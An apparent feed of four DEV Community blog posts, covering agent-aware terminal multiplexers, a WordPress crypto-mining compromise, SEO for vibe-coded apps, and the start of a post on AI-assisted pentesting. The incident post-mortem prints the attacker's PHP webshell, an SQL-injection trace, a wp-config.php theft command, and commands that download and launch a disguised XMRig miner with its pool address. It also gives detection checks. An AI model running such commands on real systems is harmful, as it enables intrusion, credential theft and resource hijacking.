DEV Community: Phil Rentier Digital

Tmux Survived 18 Years. It Won't Survive Agents.

Phil Rentier Digital — Wed, 29 Jul 2026 13:41:10 +0000

tmux shipped on November 20, 2007. Since then it buried screen, took the whole GPU terminal wave without blinking, watched Warp show up wanting to replace it, went through the entire Electron era without moving a pixel 🤓 Version 3.6a is dated December 5, 2025. The project is alive, maintained, and it never once needed to reinvent itself. Boring in the best possible way.

What is going to kill it is not a faster multiplexer. It is what lives in the panes now. Before, a pane held a shell waiting for me to type something.

Today it holds an agent that runs alone for 8 minutes, then stops dead to ask for a write permission. tmux does not tell those 2 situations apart. To tmux, it is text scrolling, or text not scrolling.

Might as well get the easy objection out of the way. tmux is not going to disappear from your machine. It is going to disappear from your working day, which is a slower and far more complete death than a deprecation.

The terminal world is going through a new mutation. Right under your eyes!

Tmux Outlived Everything. Agents Are Different.

Let me bound the claim before it runs away. The software is fine. What is dying is the layer where I spend my day, and those are 2 very different funerals.

No maintainer is walking away, nothing is deprecated, and that C codebase under the ISC license will still compile in 10 years and probably in 30.

The thing that pulled me out is called herdr. Early July 2026: roughly 105 days old, sitting near 15,000 GitHub stars, version 0.7.3 in homebrew-core, built by 1 developer working on it full time. Number 1 on GitHub Trending on June 30, 2026. I am dating those numbers on purpose, because the repo was pulling several hundred stars a day when I wrote them down, which is XP grinding at a rate no side project should survive, so whatever you find today is higher.

None of which means the category has picked a winner. On July 23, 2026, Matt Pocock asked his audience which CLI they actually use to run several agents inside 1 terminal, and mentioned he wanted to try herdr. The replies did not converge on anything. People were still comparing 6 different approaches to a problem that did not exist in this shape 2 years ago.

Ghostty Was Never the Problem

Stream Processing: From Raw Output to Organized States

My setup, short version. Ghostty as the emulator, Zellij stacked on top, several coding agents running in parallel across projects. It worked. I had no complaint I could have named out loud.

When I moved to herdr, Ghostty did not move. It still runs underneath, same config, same font, same everything. The layer that dropped out was the middle one.

That distinction matters, because a lot of the current coverage blends the 2 things together. An emulator draws characters and handles input. A multiplexer splits that screen into panes and keeps sessions alive when you disconnect. They are 2 different jobs at 2 different layers, and only 1 of them broke.

Zellij did not break in any technical sense. It does exactly what it was written to do, better than tmux in a few places (the built-in layouts alone saved me a config file I never want to write again). It gives you panes. It does not tell you which pane is waiting for you.

With 2 agents, that gap is invisible. AgentsRoom put the escalation better than I would have: 2 agents feel like a superpower, 6 agents give you a dozen tabs where 2 are waiting on a reply you never saw and 1 crashed 20 minutes earlier. At that point you are not running agents, you are patrolling. No party health bar anywhere on screen, and no way to sort the ones bleeding out from the ones idling in town.

Unrelated, but it has been bothering me all week. There is an external drive on my shelf with a label that says BACKUP and a year on it, and I no longer own the cable that plugs into it. I have looked twice. Somewhere in this house there is a drawer where that cable is sitting next to a Wacom pen for a tablet I sold, and I am not going to find either of them by looking.

Your Multiplexer Multiplexes Streams. You Need States.

A multiplexer multiplexes streams. That is the entire job description, and for 18 years it was enough, because a human eye sat in front of every pane and performed a conversion so natural that the conversion never got a name.

You looked at scrolling output and you knew the build was running. A prompt sitting still meant it had finished. A half-written line meant something died. You turned stream into state a few hundred times a day, for free, without ever noticing you were doing it. An agent blocked on a permission request is a state rather than a stream, and there is no eye in front of that pane anymore, because the entire reason you launched 6 agents was to stop sitting in front of them.

The competent objection lands right here, and it is a good one. tmux can already do this. Hooks, a scripted status bar, a wrapper around your agent that writes to a file, and you have your state indicator. True. Kun Chen says as much in his own demo: you can replicate status tracking with hooks, and having it natively changes the experience.

The workaround does not fail. It just has to be configured per machine and per harness, which is the it-works-on-my-machine defense wearing a status bar. Native detection is there the second you open the thing. I wrote about the compensation gap agents cannot close back in March, and this is the same shape one floor up. Developers have compensated for terminal limitations for 30 years and got extremely good at it. The compensation is the tax.

Second half of the mechanism, and Better Stack has been documenting it publicly since June 2026, so I am claiming nothing new. Reading is not enough anymore. The agent needs to write into the workspace: open a pane, launch a sub-agent inside it, read the output, close the pane when the report lands. tmux and Zellij do neither. A workspace only a keyboard can address is a workspace half your workforce cannot touch.

A pane that waits looks exactly like a pane that works.

Step away from the terminal for a second, because this runs past the tooling niche. If you launch 2 or 3 agents on a side project without being a senior developer, the same shift already happened to you. The job moved from doing to supervising. You are not typing the thing anymore, you are watching several things get typed and deciding which one needs you next. The supervision tooling did not follow, and the dashboard that goes with that role change is not in the box. I wrote a whole book about the distance between a demo that runs and something you can actually ship, Vibe Coding, For Real, and this is a new corner of the same gap.

What Herdr Does, and Where It's Rough

The Orchestration Graveyard: Three Shutdowns, One Survivor

Here is what my day looked like before, and I did not think of it as work. Open a pane. Launch the agent. Go do something else. Come back, read 3 panes to figure out which one had finished, close that one, check whether the second was blocked or just slow, scroll up in the third because I could not remember what I had asked it.

None of that is difficult. It is just a job, and it is a job I was doing all day without ever counting it as a job.

What changed is that I stopped reading panes to find out what is happening in them. There are 4 states now, blocked, working, done and idle, and they sit in a sidebar that aggregates every agent across every workspace. A party frame for agents, basically, and it is the whole product as far as I am concerned. The rest is a Rust binary of around 10 MB running inside the terminal I already had, with detach and reattach over SSH, sessions that survive a reboot, and tmux-style prefix keys so my fingers relearned nothing.

The first rough edge is structural rather than a bug. Detection is heuristic, based on process names and output patterns, and it covers roughly 15 harnesses including Claude Code and Codex. A harness that is not on that list goes back to being an ordinary pane with no badge, which means the magic is a guest list and your tool might not be on it.

The part I did not build myself is the socket API, and Kun Chen demoed it while building a project from scratch. His orchestrator creates its own herdr tabs, launches sub-agents inside them, and closes the tab the moment the report comes back, which is the automated version of the manual routine I just described. His second point is the one I had not seen coming: because every sub-agent lives in a real pane, he can walk into it and correct it mid-run. Compare that with the sub-agents of a classic harness, which are opaque by design. You throw a task into a black box and you get a summary back. Here, the box has a door. Worth noting he demos all this inside a tool stack he wrote himself, which makes him informed and not neutral.

That is also the most experimental surface of the product, and Better Stack says so plainly. Agent-driven orchestration through the CLI is the newest thing in there, and new things break. I went at the same problem from a much dumber angle 2 months earlier, building visibility for things that never report state, except I was gluing it together myself with a custom tool. Getting it from the workspace layer instead of from my own duct tape is a different quality of solution.

Second voice, independent from the first, and starting from exactly my setup. Marco Silva ran WezTerm at work and Zellij at home, and says neither came close. He holds 3 to 4 simultaneous OpenCode sessions without losing a single one, which he could not do before, and describes the shift as babysitting turning into check-ins at the moments the agent genuinely needs him. He also flags that resume_agents_on_restore will cheerfully spawn a pile of useless workspaces if you switch projects often, which I can confirm 😬

Windows works, and it is labeled beta with rough edges the maintainer documents openly. I have seen the claim in a video that this is the only multiplexer working properly on Windows, and I would not repeat that as a fact. Linux and macOS are the primary platforms and you can feel it.

Last one, and it tells you how young this project is. The main branch moved to Apache 2.0 on July 22, 2026, presented as removing the biggest adoption blocker for teams. The Homebrew formula was still listing AGPL-3.0-or-later after that date, so for a while the license your package manager displayed was not the license of the repository. Verify it yourself before putting this in front of a legal team, it may well be resolved by the time you read this.

Where Your Control Layer Actually Lives

Terragon Labs shut down on February 9, 2026. The reason sits in their own shutdown page: not enough traction to build a sustainable business. The interesting part is where they pointed their users, which is Claude Code Web and Codex Web, the official offerings from the model vendors themselves. A public code snapshot dated January 16, 2026 is still up, published as-is with no maintenance promise.

Bloop, the company behind Vibe Kanban, closed on April 10, 2026. The project continues as community-maintained Apache-2.0, while the paid cloud product and the remote services stopped. No reason documented anywhere. Crystal is no longer maintained either.

Those 2 tell you the category is deadly without telling you why, and I will leave them at that.

My reading: the orchestration layer looks like it has a shorter lifespan than the problem it solves, and Terragon is the cleanest demonstration of it. Maybe I have the causality wrong and February to April was just a funding window closing on 3 unrelated companies. 3 shutdowns do not make a trend, but they do make me read the terms before I move my day into anything.

Every orchestration layer is a wrapper betting its vendor stays lazy.

The strongest argument against everything I just wrote is called Conductor, and it deserves a fair hearing. It is more readable than a terminal will ever be. Real diff viewer, isolated worktrees per agent, a clean review flow, and for a lot of people that is simply the correct choice. I would not try to talk a team out of it.

The price is architectural. Proprietary binary, macOS only, and a permission model asking for broad access to your GitHub account. That critique comes from a May 29, 2026 write-up relaying a Hacker News comment about read-write access covering settings and deploy keys, so treat it as dated and check the current state yourself.

And herdr is a bet too. 1 developer, full time, 105 days of history at the point I am writing this. If he stops, the sidebar stops.

Which is the actual trade-off, and it has nothing to do with taste. When an app dies it takes your workflow with it, because the workflow lived inside the app. When a local binary dies, your terminal is still there, your sessions are still there, and you fall back to panes. There is no save file to reload either way, so I would rather lose the layer I can afford to lose.

It Leaves the Workflow, Not the Machine

In March I wrote that the terminal was going to have to evolve for agents. I was aiming at the emulator. 4 months later Ghostty has not changed a line and still runs under my entire setup. The mutation happened 1 floor above, in the layer where I spend all my time.

The browser plugin shipped on July 27, 2026 settled it for me. The friction I described in March, rendering a browser inside the session, gets solved by a multiplexer plugin.

tmux is still installed on this machine. I opened it last week to check something and it did exactly what it has done for 18 years, perfectly, without telling me a single thing I needed to know.

Sources

This post may contain affiliate links. If you click them, I might earn a small commission, costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure.

I've been p*wned :-( My Server Mined Crypto for 6 Days and My Monitoring Called It a Memory Leak

Phil Rentier Digital — Tue, 28 Jul 2026 13:41:09 +0000

The full attack chain, the mistake that opened the door, and the 2 commands that would have caught it on day 1.

My monitoring sent me a clean, well formatted alert. Diagnosis: memory leak on systemd-logind. Recommended action: restart the service. The process in question was a Monero miner that had been running for 26 hours inside a compromised WordPress container, and it was only called systemd-logind because the attacker had renamed it that way.

Over the same window, 5003 login attempts on wp-login.php failed. None of them worked. I looked at that number afterwards thinking the door had held. It held. The guy came in through the REST API, made himself an admin account, and uploaded his webshell through the plugin install form. No vulnerability at that step, just a feature working exactly as designed.

The WordPress was a test I had forgotten. A demo WooCommerce store, put up quickly, exposed publicly with a Let's Encrypt certificate and never updated behind. "Test" justified not touching it. The public exposure, that one was very real. It lasted 6 days and I found it almost by accident.

A Test Box Is Production You Ignore

I patch everything. Every container on that host gets rebuilt on a schedule, every image gets pulled, every service gets its own network. Every one except this one, because I had labeled it "test" in my head since 8 months and never revisited the label.

The problem with the word test is that it describes my intention rather than the machine's situation. The machine had a public DNS record, a valid TLS certificate, and a reverse proxy routing traffic to it from the open internet. Nothing about that setup knows or cares that I called it a demo. Scanners hit it the same way they hit a real store, which is to say constantly and without discrimination.

So the thing that happened weeks before anything interesting is that a bot found a WordPress instance running an old version, publicly reachable, with an unauthenticated REST API. From the outside it looked identical to 40 million other WordPress sites. That is the entire targeting logic. There was no reason for me specifically, no research, no interest in what I do. The internet just runs a wide net and I had left a hole in mine.

A test environment is either isolated or it is production with worse hygiene.

5003 Failures and 7 Successes

Looking at the access logs after the fact, the brute force is the loudest signal by far: 5003 POST requests against wp-login.php, spread over days, all of them returning 200 with a failed login. Every single one bounced.

Out of 5010 total POST requests to that endpoint, only 7 returned a 302 redirect, which is what a successful login looks like. The oldest of the 7 was me, back in May. The other 6 each followed, within seconds, a burst of requests to a completely different endpoint:

POST /?rest_route=/batch/v1

The batch/v1 endpoint lets you stack several REST calls inside a single HTTP request. The payload carried an SQL injection, and the full trace showed up in the PHP error log because part of it did not parse cleanly:

WordPress database error You have an error in your SQL syntax
SELECT SQL_CALC_FOUND_ROWS wp_posts.*
  FROM wp_posts
  WHERE 1=1 AND wp_posts.post_author NOT IN (1)
    AND 1=0 UNION ALL SELECT 0,1,0x323032302d…,0x74726967676572,… -- -

The injected values are hex encoded to avoid quotes. What makes this one nasty is what the injected rows trigger once WordPress starts rendering them. The call stack reads like a house where the intruder is already inside and keeps opening doors from within:

WP_REST_Server->serve_batch_request_v1
  → WP_REST_Posts_Controller->get_items
    → apply_filters('the_content') → WP_Embed->run_shortcode
      → wp_update_post → wp_insert_post
        → do_action('transition_post_status')
          → _wp_customize_publish_changeset
            → WP_Customize_Nav_Menu_Item_Setting->update
              → wp_update_nav_menu_item → wp_insert_post   [recursion]

The UNION forges rows in memory that never touch the database. Among them sits a customize_changeset holding a serialized nav_menu_item. Rendering the content fires the [embed] shortcode, which publishes the changeset, which loops back into wp_insert_post. That is wp_insert_post calling wp_insert_post, which is either elegant recursion or a stack overflow waiting to happen depending on who is driving. Somewhere in that loop an administrator account gets created, named wp2_ followed by 12 hex characters.

Then, 2 seconds later:

05:11:52  GET  /wp-admin/plugin-install.php?tab=upload
05:11:53  POST /wp-admin/update.php?action=upload-plugin

An admin uploads a zip. WordPress unpacks it into wp-content/plugins/. There is no exploit in that step, none at all. Uploading a plugin is something administrators are supposed to do, and by then the attacker was an administrator.

What Actually Left the Machine

Six-Day Security Breach Timeline and Data Extraction

The first 3 passes had nothing to do with mining. They were credential hunts, 3 of them inside 1 hour, and they went for the highest value target immediately.

The webshell they dropped was 720 bytes and used a delimiter format that turned out to be useful for me later:

if (hash_equals('<32 hex token>', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {
    chdir(__DIR__);
    echo 'WP2SHELL::' . shell_exec((string) $_GET['c']) . '::END';
}

Note the hash_equals. The author is using constant time comparison to protect his own access token against a timing attack, which tells you this is not somebody's weekend script. The WP2SHELL:: and ::END markers exist for a parser, not for a human reading output in a browser.

Those markers gave me an oracle. A response of exactly 15 bytes is the 2 markers with nothing between them, meaning the command returned empty. So I could measure, from the access log alone, exactly how much data each command actually produced.

The command at 02:49:

cat ../../../wp-config.php 2>/dev/null || cat ../../../../wp-config.php 2>/dev/null

Response size: 5138 bytes. That file was read and returned. It holds the MariaDB credentials and the 8 WordPress salt keys. That is the only confirmed exfiltration of the entire incident, and it is enough to consider the database and every session on that install as compromised.

Everything after that came back empty. The next pass ran a base64 encoded shell script that swept the filesystem for .env files and queried the options table for anything matching smtp, sendgrid, mailgun, brevo, postman. Response: 149 bytes, which is section markers with no content between them. The pass after that, a direct SQL query for the same thing: 103 bytes, also empty.

The reason is almost funny. The script hunted /var/www, /home, /srv, /www, the standard layout of a hand rolled LAMP server. This container ships WordPress under /opt/bitnami/wordpress. The whole run was spent swinging at empty directories, farming a spawn point that had never existed on this machine.

Every official Docker image puts its config files somewhere different and there is no convention anybody agrees on. Bitnami has its own tree, the Debian based images have another, the Alpine variants move things again, and the documentation usually gives you the mount point without telling you where the actual file lives inside it. I keep a text file with 30 lines in it that is just "where does the conf live in image X". It has been growing since 2019 and it has never once occurred to me to publish it.

The credential hunt failing matters more than the mining succeeding. SMTP credentials from a clean domain are worth real money for phishing. Monero mining on a small VPS pays cents. What I got was the fallback.

The Miner Was the Consolation Prize

The miner shows up on day 4, and both mining passes ran an identical sequence, down to the second. The opening block of commands is the part I did not expect:

pkill -f systemd-logind
rm -f /var/tmp/systemd-logind /etc/systemd/system/systemd-logind
find /tmp /var/tmp /dev/shm /home/* /root -name 'systemd-logind' -type f -delete
sed -i '/systemd-logind/d' /root/.bashrc

He starts by removing his own previous infection. Same operator, same tooling, cleaning up yesterday's install before laying down today's. That is a maintenance script, not an attack script. The guy has a cleanup routine and a release cadence, which is more process discipline than I have seen on some paid projects.

Then the actual payload:

cd /var/tmp && wget --no-check-certificate \
  'https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz' \
  -O xmrig.tar.gz
tar -xzf xmrig.tar.gz && mv xmrig-*/xmrig systemd-logind && rm -rf xmrig*
cd /var/tmp && nohup ./systemd-logind -c config.json >/dev/null 2>&1 &

XMRig, straight from the public GitHub release, renamed to systemd-logind and dropped in /var/tmp. The config was written from a base64 blob:

{"cpu": {"max-threads-hint": 90, "huge-pages": true, "msr": true},
 "randomx": {"mode": "auto"},
 "pools": [{"algo": "rx/0", "url": "45.86.86.254:443",
            "user": "lullemon111", "pass": "x",
            "tls": true, "keepalive": true}]}

A few details worth pulling out. rx/0 is RandomX, the Monero algorithm, tuned for CPUs and hostile to GPUs and ASICs. That is precisely why a graphics-card-free VPS is worth stealing and why Monero owns this whole category of crime. The 2.3 GB of RAM the process was eating is the RandomX dataset in fast mode, which is mandatory if you want any hashrate at all. Port 443 with TLS means the Stratum protocol is wearing an HTTPS coat to walk past egress filtering. And the pool address is a raw IP with no DNS lookup anywhere, so blocking resolution would have accomplished nothing.

The user field is lullemon111, a plain username. On a public pool that field carries the Monero payout address, so this is very likely a private mining proxy aggregating a fleet of boxes rather than a pool account. I think. Could be I am reading too much into a username.

Measured effect: 4 threads pinned near 99 percent, 396 percent total CPU, load average sitting at 4.9 on a host that also runs my production automation stack. Estimated yield for 26 hours of that: a few dozen cents. The economics work only at fleet scale, which is exactly why the same operator came back 6 times to a box that was giving him almost nothing.

Then, while cleaning up, I found the part that actually scared me. Another backdoor had been sitting there since day 2. A 79 KB interactive webshell with a file manager, a terminal, an editor, and a system info panel, dropped under a plugin folder named after a truck brand so it would look boring in the extensions list. It was password protected with a bcrypt hash, and the plaintext password was written in a comment inside the same file. For 5 days, anyone knowing the path had a full interactive shell on that container. Bots scan those paths continuously. The blast radius covers whoever else happened to look, well beyond the person who wrote the miner.

My Watchdog Told Me to Restart It

Security Controls Miss Process Path Manipulation Attack

I have a daily digest that summarizes host health and flags anomalies. It saw this. It reported high memory usage on systemd-logind, called it a probable memory leak, and suggested systemctl restart systemd-logind. HAL 9000 calm, entirely wrong, and the suggested command would have restarted the real service while leaving the miner untouched.

The reason the disguise worked has nothing to do with the attacker being clever. Every control I had was comparing a process name against a list of expected process names, and systemd-logind sat on that list, so nothing fired. The real systemd-logind was also running the whole time, on PID 824, using 10 MB and behaving perfectly, which meant a human glancing at ps would see 2 plausible entries and move on. My fail2ban config never saw anything either, because the traffic arrived through the reverse proxy and terminated inside a container, so it never touched the system logs that fail2ban watches. File integrity monitoring did not exist on that host, process path verification neither, and a new file landing in a plugins directory triggered exactly nothing. The monitoring I built after a monitoring tool that watches every app could tell me whether services were up. Whether the services that were up were mine, it had no opinion at all.

2 reads would have ended the doubt on day 1:

readlink /proc/<pid>/exe     # → /var/tmp/systemd-logind
cat /proc/<pid>/cgroup       # → .../docker-<id>.scope

The first says the binary lives in a temp directory, which is never true of a real system daemon. The second says the process belongs to a container, which is never true of a host service. Neither requires expertise or a security product. They require somebody to look at the path instead of the name.

What actually caught it was cruder than any of this. The load average was high enough that the box felt slow when I ssh'd in to do something else entirely. I went looking for what was eating the CPU and found a process I recognized, in a place I did not.

Check Your Own Boxes Right Now

If you run containers behind a reverse proxy, these take under a minute and cost nothing. Run them on the host, not inside a container.

Processes whose binary is not where it should be:

for p in $(ls /proc | grep -E '^[0-9]+$'); do
  exe=$(readlink /proc/$p/exe 2>/dev/null)
  case "$exe" in
    ""|/usr/*|/bin/*|/sbin/*|/lib/*) ;;
    *) echo "$p  $(cat /proc/$p/comm 2>/dev/null)  →  $exe" ;;
  esac
done

Anything printing a path under /tmp, /var/tmp, /dev/shm, or ending in (deleted) needs an explanation before you do anything else. A deleted binary still executing is a strong signal on its own.

Then your access logs:

grep -c 'rest_route=/batch/v1' access.log
grep 'action=upload-plugin' access.log

A plugin upload you cannot account for means somebody had admin. If you find WP2SHELL:: anywhere in a response body or a log, stop reading this and go isolate the machine.

While you are there, run a find across your web volumes for PHP files in any plugins or uploads directory with a timestamp inside the last 30 days. Anything you did not put there is the whole investigation.

Network indicators from this specific incident, in case they match yours: the pool address 45.86.86.254 on port 443, the pool username lullemon111, files named systemd-logind outside /usr/lib/systemd and /lib/systemd, and admin users matching wp2_ followed by 12 hex characters that get created and deleted within the same minute.

What I Changed After the Cut

Isolation first, and the command mattered:

docker network disconnect <proxy-network> <container>

I picked this over removing the proxy labels because that path requires a compose up, which recreates the container and destroys the json-file logs. Those logs were the only surviving evidence of 3 webshells out of 5, since the attacker's cleanup routine deleted the files themselves. Killing the container would have deleted my own forensics along with his.

The container had another network flagged internal: true, so disconnecting the proxy network removed internet access at the same time as public exposure. CPU went from 396 percent to 1.3 percent. The miner is still in there, opening a socket 3 times a minute, getting ENETUNREACH, closing it, and trying again. It will do that until I decide what to do with the volume, and it will resume mining within 20 seconds if I ever reconnect that network.

The structural fix is network segmentation, and this is where the incident actually hurt. Docker itself did its job completely. Privileged mode was off, no capabilities were added, the socket was not mounted, and there was 1 volume. Nothing escaped to the host. But that container shared a bridge network with my production automation stack, which meant the webshell could reach it directly on its internal IP without ever going through the proxy or hitting an auth layer. The hull held and the exhaust vent was wide open the entire time. Anyone drawing a line between where systemd ends and containers begin runs into the same question I did: when a container falls, what can it touch?

Everything else I added is small. 1 bridge network per service group instead of a shared proxy bridge. A daily check that compares every process name against its actual exe path and screams if they disagree. An alert on new files in any mounted plugins or uploads directory. And a list of every publicly resolvable hostname I own, checked monthly, because what killed me was a subdomain I had stopped thinking about and nothing more sophisticated than that.

We all make mistakes.

Mine was a test WordPress, unhardened and unpatched, on a host where I do that systematically for everything else. What saved me was the environment isolation and the fact that some monitoring existed at all, even bad monitoring.

With AI, we produce so much now that keeping up manually is not really an option anymore. Which is why the approach to your environments has to be deliberate and systemic, and why the surveillance has to exist before you need it. Use AI to build, sure. Also use it to instrument what it builds, and to point at the human failures you keep leaving behind you 😬

Sources

XMRig releases: https://github.com/xmrig/xmrig/releases
WordPress REST API handbook: https://developer.wordpress.org/rest-api/
Docker networking documentation: https://docs.docker.com/network/

This post may contain affiliate links. If you click them, I might earn a small commission, costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure.

SEO for Apps: I Audited 11 Vibe-Coded Products and Claude Couldn't Read One

Phil Rentier Digital — Mon, 27 Jul 2026 13:41:10 +0000

Your app is finally live. Now how do your customers find it, inside Claude or inside Google?

You spent 40 hours prompting Claude or Codex to build the thing. It runs, it looks good, it is online. And Claude cannot read it.

Not figuratively. ClaudeBot downloads your JavaScript bundle in almost 24% of its requests and never executes it. It grabs the file, drops it, moves on. Anthropic documents this itself in the web fetch tool docs: dynamically rendered JavaScript sites are not supported, the model only gets the initial HTML served by the server. On a standard vibe-coded app, that initial HTML is an empty div and a <script src>.

I audited 11 products over the last 6 months. SaaS in early access, side projects with real users, a couple of things already making money. The same 5 mistakes every time. And every time the builder dashboard was showing an SEO score above 90, with the nice little green pill lol.

Run This Test Before You Read Further

Right click on your homepage, then View Page Source. Not the inspector. The inspector shows you the DOM after your JavaScript ran, which is the view guaranteed to reassure you. View Page Source shows the raw response from the server, and that is what a crawler receives.

Now Ctrl+F inside that source. Look for a sentence you can actually see on the page: your headline, your pricing line, the name of your main feature. If the sentence is not in there, your diagnosis is already done.

Second test, 10 seconds of setup. Install the Web Developer extension, disable JavaScript, reload the page. Whatever stays on screen is roughly what an AI crawler works with. On most vibe-coded apps what stays is a white page, sometimes with a loading spinner that will keep spinning until the heat death of the universe.

Third test, nothing to install. Search Google for an exact sentence from your page, in quotes. No result means your text is not in the index under those words.

11 Audits, 6 Months, the Same 5 Mistakes

The stacks are never the same twice. Lovable, Bolt, v0, plain React shipped on Vercel. The list of problems does not move.

The content does not exist in the raw HTML. Everything gets injected client side once the bundle loads.
The heading structure is broken. No h1 at all, or 4 of them on the same route, or a jump straight from h1 to h4 because that was the font size that looked right.
Meta title and description are missing, or strictly identical on every route. 40 pages, 1 title.
Navigation runs through buttons with a programmatic redirect instead of real anchors. Nothing to follow, so internal linking does not exist.
robots.txt and sitemap.xml are the generated defaults. They point at a domain that is not yours, or at a sitemap that answers 404.

These are not exotic problems. It works like the yearly technical inspection on a car, where it is always the brake pads and the lights and almost never something you have never seen before. The reason it repeats is not incompetence. No step of the build flow ever fails on any of these 5 points. Everything stays green, the app deploys, the demo works, and the part that decides whether anyone finds you was never tested by anything.

The Dashboard Says 90. The Crawler Says Nothing.

A builder published the audit of their own Lovable product and the numbers are the cleanest illustration of the gap I have seen. Searching the public files for the button with programmatic navigation pattern returned 20 occurrences across 11 files, including the main CTA of the homepage and every product link. Googlebot was receiving an empty HTML page with a bundle attached. The Lovable SEO panel was reporting a score above 90 the entire time.

The score is not lying, by the way. It measures the page after the browser did its work, and measured that way the page really is fine. It works on my machine, dashboard edition 🤷

Second case, different tool, same shape. A Bento Grid generator, vibe-coded in 2 days, launched on Product Hunt and picked up quickly. Then John Mueller showed up in the Reddit thread and listed what he found: the key content sitting in a JavaScript file the crawler does not read, meta tags deprecated years ago, broken hreflang, structured data that did not match the page.

The product was good. The layer that makes a product findable was simply not generated by default, and no dashboard was going to say so.

Google Indexes You. The Answer Engines Don't.

Googlebot renders JavaScript, and has done so for years. So your app does get indexed, you see impressions in Search Console, and you conclude the whole subject is handled.

It is handled at a price. Research from Onely, relayed in February 2026 inside a technical analysis by Jan-Willem Bobbink, puts the indexing of JS-heavy pages at roughly 9 times slower than static HTML, with sites that exceed their render budget losing up to 40% of their indexation rate. Rendering is a queue and you are standing at the back of it.

The real gap sits somewhere else. As of June 2026, no major AI crawler renders JavaScript: GPTBot, OAI-SearchBot, ChatGPT-User, ClaudeBot, Claude-SearchBot, PerplexityBot, Meta-ExternalAgent, Bytespider. They fetch, they do not execute. The only significant exception is Gemini, which inherits the Googlebot rendering infrastructure. Then add Bing, since a large share of ChatGPT agent queries leans on the Bing index, and Bing JavaScript rendering is limited.

Reading raw server logs is the last part of this job that still feels like archaeology. Half the user-agents hitting a small site belong to bots I could not identify at all, scrapers named after animals, academic crawlers from universities that stopped funding the project around 2019 and never turned the machine off. A whole ecosystem of dead software, still politely requesting your sitemap every 6 hours.

I once asked 3 answer engines to recommend my SaaS and the only one that could name it was the one that had something to read.

You can rank on Google and exist in 0 answer engines.

2 Readers, 2 Pages

A browser and a crawler do not read the same page, and once that clicks, the 5 mistakes stop looking like 5 problems and start looking like 5 symptoms of the same one. The browser downloads your HTML, finds a nearly empty shell, fetches the bundle, executes it, builds the DOM, paints the result and hands you a finished page you can screenshot for Product Hunt. A retrieval crawler downloads that same HTML, reads it, and stops there. There is no render queue behind it and nothing comes back later to check whether the page filled itself in. The SEO scores built into your builder measure the first state because that is the state a human sees, and every answer engine reads the second state because that is the only one it is willing to pay for. The disagreement between your green dashboard and your empty analytics fits entirely inside the gap between those 2 pages.

The corollary decides the order of the repairs, and it is the part I did not expect when I started doing these audits. When the raw HTML contains nothing, the only information that exists about your product lives somewhere else: your business listing, your profiles, a changelog hosted on a third party site, a directory entry, a Reddit comment. That is the material a model has to work with when somebody asks it for a tool like yours. Which means the entity work, boring as it is, carries the same weight as the technical work. Fixing the HTML makes you readable, and the mentions elsewhere are what a model has to go on in the meantime.

3 Fixes You Can Ship Today

Fix 1. Put the words inside the HTML you serve.

Right now the crawler receives something close to this:

<div id="root"></div>
<script type="module" src="/assets/index-a3f9.js"></script>

There are 2 ways out. The per-route solution injects a real title, a real meta description and a minimum of text content into the response for each route, which is what you want if your app has pages that differ. The global solution injects a single set of tags for the whole app, which is faster and still better than nothing when everything you sell lives on the homepage. Either way, the test is the same as before: kill JavaScript, reload, and check that words are still on the screen.

The tags themselves deserve 5 minutes rather than a copy of your app name. A title written to win a Google ranking and a title written to be quoted inside an answer are not the same string, and that gap is why title tags decide AI search visibility.

Fix 2. A single h1 per route, and real links.

Continuous hierarchy, no jumps, 1 heading that says what the page is. Then replace the fake navigation:

// invisible to a crawler, there is nothing to follow
<button onClick={() => navigate("/pricing")}>Pricing</button>

// followable, and your router still handles it
<Link to="/pricing">Pricing</Link>

This single change is what makes internal linking exist on your site, because until you do it there is no path between your routes for anything to walk.

Fix 3. The 2 generated files that point nowhere.

Open robots.txt. If you find this, your sitemap has never been read by anything:

Sitemap: https://example.com/sitemap.xml

Check the sitemap actually answers, check the URLs inside it are your real routes, and check that you are not blocking the AI user-agents you want reading you. Blocking GPTBot and then wondering why ChatGPT never mentions your product is a conversation I have had more than once.

In a first time, ship these 3 and nothing else. Then run PageSpeed Insights and aim for something around 90 on mobile, keeping in mind that this score grades the human experience and will happily give you a great number on a page that no crawler can read.

What's Left After the 3 Fixes

2 mistakes stay on the table and I left them out on purpose, because neither is an afternoon of work.

The first is the rendering decision itself. Prerendering serves a static snapshot to crawlers and buys you visibility this week. A server-side migration rebuilds the app so that every visitor, human or bot, receives the same complete document. The snapshot approach also carries a real risk: serve a different version to LLM user-agents with an approximate implementation and you are a short step from cloaking. I think the render gap stays open for a while, since rendering costs money per page and these bots crawl at a scale where that number gets ugly fast, but I would not bet a product on that reading being right.

The second is entity work, and it happens outside your repository. Business listing, consistent profiles across platforms, mentions on sites you do not own, coherent naming everywhere. Weeks of small boring actions with no deploy button at the end, which makes it the XP grind of this whole discipline. I packaged the audit prompts, the route-by-route templates and the full entity sequence into a kit, for people who would rather not rebuild that checklist from zero.

An agency will bill you around 1500 dollars to tell you exactly that. It will be right on the substance and wrong on the order, because the SSR migration is the complete fix, and on a product with no traffic to protect yet you are repairing a highway nobody drives on.

Building an app costs 20 dollars a month and a weekend. Getting found still costs the old price. C'est la vie.

Sources

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

A $20 AI Subscription Can Now Pentest Your SaaS Better Than You Can.

Phil Rentier Digital — Sat, 25 Jul 2026 13:41:09 +0000

A French AI-coding YouTuber opened his Kimi K3 subscription, $20 a month, and went looking for security holes in another solo founder's app. He found some. He filmed the whole thing and posted it.

He had no written authorization and no pentest agreement, just a screen recording of someone taking apart a production app that wasn't his to touch.

The comments split into two camps within minutes. One side called it a straight up breach, unauthorized access to a system that isn't yours, the kind of thing that gets you a call from a lawyer. The other side called it a public service, free security testing for a community that mostly ships without ever checking for holes.

I'm not picking a side in that fight.

Skip The Ethics Fight. Look At The Price Tag Instead.

What he pulled off in that video would have cost, 3 years ago, years of accumulated offensive security skill. Today it costs a monthly subscription and a free afternoon.

That's the part worth sitting with. Not whether he should have posted it, whether he had permission, whether Medium or a lawyer somewhere agrees with his methods. The barrier that used to separate "random dev" from "person who can find your app's holes" has mostly dissolved. And it didn't dissolve just for him. I'm not naming him here either, no free advertising for a stunt like this, he doesn't need the traffic from me.

